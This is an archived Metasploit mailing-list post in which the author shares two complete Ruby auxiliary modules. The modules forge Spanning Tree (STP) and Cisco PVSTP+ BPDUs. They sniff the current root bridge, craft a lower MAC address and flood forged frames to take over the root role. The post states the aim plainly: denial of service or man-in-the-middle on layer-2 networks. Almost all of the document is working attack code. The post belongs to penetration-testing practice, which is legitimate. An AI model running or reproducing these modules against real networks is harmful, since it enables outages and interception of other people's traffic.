Metasploit mailing list archives

Spanning Tree Modules


From: Spencer McIntyre <zerosteiner () gmail com>
Date: Fri, 13 Aug 2010 20:17:12 -0700

I have written a pair of Metasploit modules to handle two different types of
Spanning Tree Protocols, the standard STP and Cisco's proprietary PVSTP+.
 These modules will attempt to guess the current root bridge and forge BPDUs
with a slightly lower MAC address causing them to win the root election
process, allowing the attacker to either cause a DoS condition or MiTM (with
two NICs).  The PVSTP+ module requires a trunk but I released a DTP module a
while ago that can help with obtaining that.  Once the trunk has been
established my code will also account for whether there is an 802.1Q tag on
the PVSTP+ frame or not as in the case of a "native VLAN" on a trunk.  I
hope someone else will find these useful when running L2 attacks.  By
default these modules will run in the background and send out their frames
as often as set by the Hello Time variable.

Spencer McIntyre
zeroSteiner () gmail com

#begin auxiliary/spoof/cisco/stp.rb
require 'msf/core'
require 'racket'

class Metasploit3 < Msf::Auxiliary

 include Msf::Exploit::Capture

def initialize
super(
'Name'           => 'Forge Spanning-Tree BPDUs',
 'Description'    => %q{
This module forges Spanning-Tree BPDUs to claim
 the Root role. This will either result in a MiTM or a DOS.  You need to set
the RMAC field to a MAC address lower than the current root
 bridge (hint: use wireshark) or use AUTO to sniff and generate one.
},
 'Author'         => [ 'Spencer McIntyre' ],
'License'        => MSF_LICENSE,
 'Version'        => '$Revision: 0 $',
'Actions'     =>
 [
 [ 'Service' ]
 ],
'PassiveActions' =>
[
 'Service'
],
'DefaultAction'  => 'Service'
 )

begin
require 'pcaprub'
 @@havepcap = true
rescue ::LoadError
@@havepcap = false
 end

register_options([
OptString.new('RMAC', [ false, "The Root MAC To Spoof",
'00:00:00:00:00:00']),
 OptBool.new('AUTO', [ true, "Automatically Guess A Lower Root MAC", true]),
OptString.new('INTERFACE', [true, "The name of the interface", 'eth0'])
 ])

deregister_options('FILTER','PCAPFILE','RHOST','SNAPLEN','TIMEOUT','UDP_SECRET',
'NETMASK', 'GATEWAY')
 register_advanced_options([
OptInt.new('MaxAge', [ true, "The amount of time a switch will retain a
BPDU's contents before discarding it.", 20]),
 OptInt.new('HelloTime', [ true, "The interval between BPDUs.", 2]),
OptInt.new('ForwardDelay', [ true, "The time spent in the listening and
learning states.", 15]),
 OptInt.new('Wait', [ true, "The amount of time to sniff for a STP BPDU to
guess the root MAC", 15]),
])
 end

def run
@auto = false
 if (datastore['AUTO'].to_s.match(/^(t|y|1)/i))
@auto = true
end
 if @auto
raise "Pcaprub is not available" if not @@havepcap
open_pcap({'FILTER' => 'ether dst 01:80:C2:00:00:00'})
 pcap = self.capture
begin
Timeout.timeout(datastore['Wait'].to_i) do
 pcap.each do |r|
eth = Racket::L2::Ethernet.new( r )
llc = Racket::L2::LLC.new( eth.payload )
 stp = Racket::L3::STP.new( llc.payload )
 @rmac = stp.root_id #the following 8 lines make sure the MAC is lower so we
can steal the root
 $i = 9;
until (@rmac.to_s[$i .. ($i + 1)].hex - 1) > 0 do
if $i == 0
 next
end
$i = $i - 3
 end
tmp = (@rmac.to_s[$i .. ($i + 1)].hex - 1)
if tmp < 16
 @rmac = @rmac[0 .. ($i - 1)] + '0' + tmp.to_s(16) + @rmac[($i + 2) .. 16]
else
 @rmac = @rmac[0 .. ($i - 1)] + tmp.to_s(16) + @rmac[($i + 2) .. 16]
end
 break
end
end
 rescue Timeout::Error
print_error('stp: Could Not Find STP Instance')
 return 0
end
end
 ###
@run = true
n = Racket::Racket.new
 helloTime = datastore['HelloTime'].to_i
forwardDelay = datastore['ForwardDelay'].to_i
 maxAge = datastore['MaxAge'].to_i
 n.l2 = Racket::L2::Ethernet.new()
 if @auto
src_mac = @rmac.to_s[0 .. 15]
src_mac << (16 + rand(238)).to_s(16)
 n.l2.src_mac = src_mac
else
@rmac = datastore['RMAC']
 if @rmac.length != 17
print_error('stp: Invalid Field RMAC')
 return 0
end
n.l2.src_mac = @rmac
 @rmac = @rmac.to_s[0 .. 15] << '00'
end
n.l2.dst_mac = '01:80:c2:00:00:00' # this has to stay the same
 n.l2.ethertype = 0x0026
 n.l3 = Racket::L2::LLC.new()
 n.l3.control = 0x03
n.l3.dsap = 0x42
n.l3.ssap = 0x42
 n.l4 = Racket::L3::STP.new()
n.l4.protocol = 0x0000
 n.l4.version = 0x00
n.l4.bpdu_type = 0x00
n.l4.root_id = @rmac
 n.l4.root_wtf = ( 0b1000 * (2 ** 12))
n.l4.root_cost = 0x0000
n.l4.bridge_id = @rmac
 n.l4.bridge_wtf = ( 0b1000 * (2 ** 12))
n.l4.port_id = 0x8001
n.l4.msg_age = 0x0000
 n.l4.max_age = maxAge * 256
n.l4.hello_time = helloTime * 256
n.l4.forward_delay = forwardDelay * 256
 n.l4.payload = "\x00\x00\x00\x00\x00\x00\x00\x00"
 n.iface = datastore['INTERFACE']
 n.pack()
 while @run
 n.send2()
select(nil, nil, nil, helloTime)
end
 end

end

#begin auxiliary/spoof/cisco/pvstp.rb
require 'msf/core'
require 'racket'

class Metasploit3 < Msf::Auxiliary

include Msf::Exploit::Capture

def initialize
super(
'Name'           => 'Forge Cisco PVSTP+ BPDUs',
 'Description'    => %q{
This module forges Per-VLAN Spanning-Tree BPDUs to claim
 the Root role.  PVST(+) is the Cisco default for use on switches.
This will either result in a MiTM or a DOS.  You need to set
 the RMAC field to a MAC address lower than the current root
bridge (hint: use wireshark) or use AUTO to sniff and generate one.
 },
'Author'         => [ 'Spencer McIntyre' ],
'License'        => MSF_LICENSE,
 'Version'        => '$Revision: 11 $',
'Actions'     =>
 [
 [ 'Service' ]
 ],
'PassiveActions' =>
[
 'Service'
],
'DefaultAction'  => 'Service'
 )

begin
require 'pcaprub'
 @@havepcap = true
rescue ::LoadError
@@havepcap = false
 end

register_options([
OptString.new('RMAC', [ false, "The Root MAC To Spoof",
'00:00:00:00:00:00']),
 OptBool.new('AUTO', [ true, "Automatically Guess A Lower Root MAC", true]),
OptInt.new('VID', [ true, "The Target VLAN Identifier", 1]),
 OptString.new('INTERFACE', [true, "The name of the interface", 'eth0'])
])

deregister_options('FILTER','PCAPFILE','RHOST','SNAPLEN','TIMEOUT','UDP_SECRET',
'NETMASK', 'GATEWAY')
 register_advanced_options([
OptInt.new('MaxAge', [ true, "The amount of time a switch will retain a
BPDU's contents before discarding it.", 20]),
 OptInt.new('HelloTime', [ true, "The interval between BPDUs.", 2]),
OptInt.new('ForwardDelay', [ true, "The time spent in the listening and
learning states.", 15]),
 OptInt.new('Wait', [ true, "The amount of time to sniff for a PVSTP+ BPDU
to guess the root MAC", 15]),
])
 end

def run
@auto = false
 if (datastore['AUTO'].to_s.match(/^(t|y|1)/i))
@auto = true
end
 if datastore['VID'] > 4094
print_error('stp: VLAN ID is to high (greater than 4094)')
 return 0
end
if @auto
 raise "Pcaprub is not available" if not @@havepcap
open_pcap({'FILTER' => 'ether dst 01:00:0c:cc:cc:cd'})
 pcap = self.capture
begin
Timeout.timeout(datastore['Wait'].to_i) do
 pcap.each do |r|
eth = Racket::L2::Ethernet.new(r)
if eth.ethertype == 0x8100
 @dot1q = true
vlan = Racket::L2::VLAN.new( eth.payload )
next if not vlan.id == datastore['VID']
 llc = Racket::L2::LLC.new( vlan.payload )
else
@dot1q = false
 llc = Racket::L2::LLC.new( eth.payload )
end
 stp = Racket::L3::STP.new( llc.payload[5, llc.payload.length] )
next if not stp.root_wtf.to_s(2)[4 .. 16].to_i(2)
 @rmac = stp.root_id #the following 8 lines make sure the MAC is lower so we
can steal the root
 $i = 9;
until (@rmac.to_s[$i .. ($i + 1)].hex - 1) > 0 do
if $i == 0
 next
end
$i = $i - 3
 end
tmp = (@rmac.to_s[$i .. ($i + 1)].hex - 1)
if tmp < 16
 @rmac = @rmac[0 .. ($i - 1)] + '0' + tmp.to_s(16) + @rmac[($i + 2) .. 16]
else
 @rmac = @rmac[0 .. ($i - 1)] + tmp.to_s(16) + @rmac[($i + 2) .. 16]
end
 break
end
end
 rescue Timeout::Error
print_error('stp: Could Not Find PVSTP+ Instance With Specified VLAN, Now
Exiting')
 return 0
end
end
 ###
@run = true
n = Racket::Racket.new
 helloTime = datastore['HelloTime'].to_i
forwardDelay = datastore['ForwardDelay'].to_i
 maxAge = datastore['MaxAge'].to_i
 n.l2 = Racket::L2::Ethernet.new()
 if @auto
src_mac = @rmac.to_s[0 .. 15]
src_mac << (16 + rand(238)).to_s(16)
 n.l2.src_mac = src_mac
else
@rmac = datastore['RMAC']
 if @rmac.length != 17
print_error('stp: Invalid Field RMAC')
 return 0
end
n.l2.src_mac = @rmac
 @rmac = @rmac.to_s[0 .. 15] << '00'
end
n.l2.dst_mac = '01:00:0c:cc:cc:cd' # this has to stay the same
 if @dot1q
n.l2.ethertype = 0x8100 # 802.1Q
 eight_oh_two_q_priority = 0b111 * (2 ** 13)
eight_oh_two_q_cfi = 0b0 * (2 ** 12)
 eight_oh_two_id = datastore['VID']
n.l2.payload = [ eight_oh_two_q_priority + eight_oh_two_q_cfi +
eight_oh_two_id ].pack("n") + "\x00\x32"
 else
n.l2.ethertype = 0x0032
end
 n.l4 = Racket::L2::LLC.new()
n.l4.control = 0x03
 n.l4.dsap = 0xaa
n.l4.ssap = 0xaa
payload = "\x00\x00\x0c" # Cisco vendor code
 payload << "\x01\x0b" # pid 010b is PVSTP+
n.l4.payload = payload
 n.l5 = Racket::L3::STP.new()
n.l5.protocol = 0x0000
 n.l5.version = 0x00
n.l5.bpdu_type = 0x00
n.l5.root_id = @rmac
 n.l5.root_wtf = ( 0b1000 * (2 ** 12)) + datastore['VID']
n.l5.root_cost = 0x0000
 n.l5.bridge_id = @rmac
n.l5.bridge_wtf = ( 0b1000 * (2 ** 12)) + datastore['VID']
 n.l5.port_id = 0x8001
n.l5.msg_age = 0x0000
n.l5.max_age = maxAge * 256
 n.l5.hello_time = helloTime * 256
n.l5.forward_delay = forwardDelay * 256
 n.l5.payload = "\x00\x00\x00\x02" << [ datastore['VID'] ].pack("n")
 n.iface = datastore['INTERFACE']
n.pack()
 while @run
n.send2()
select(nil, nil, nil, helloTime)
 end
 end

end
_______________________________________________
https://mail.metasploit.com/mailman/listinfo/framework

Current thread: